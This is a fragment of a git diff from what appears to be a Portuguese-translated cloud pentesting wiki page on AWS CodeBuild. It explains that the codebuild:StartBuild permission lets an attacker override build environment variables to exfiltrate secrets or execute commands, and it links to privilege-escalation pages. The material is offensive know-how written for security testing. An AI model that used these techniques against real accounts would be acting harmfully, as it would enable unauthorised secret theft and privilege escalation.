> Se você tiver `codebuild:StartBuild`, lembre-se que frequentemente você pode sobrescrever env vars em tempo de build (`--environment-variables-override`). Isso é suficiente para alguns ataques mesmo sem `UpdateProject` ou `buildspec` overrides (for example: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
|
||||
|
||||
### Privesc
|
||||
|
||||
Na página a seguir, você pode verificar como **abusar das permissões do codebuild para escalar privilégios**:
|
||||
Na página a seguir, você pode ver como **abuse codebuild permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
@@ -67,7 +70,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do codeb
|
||||
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user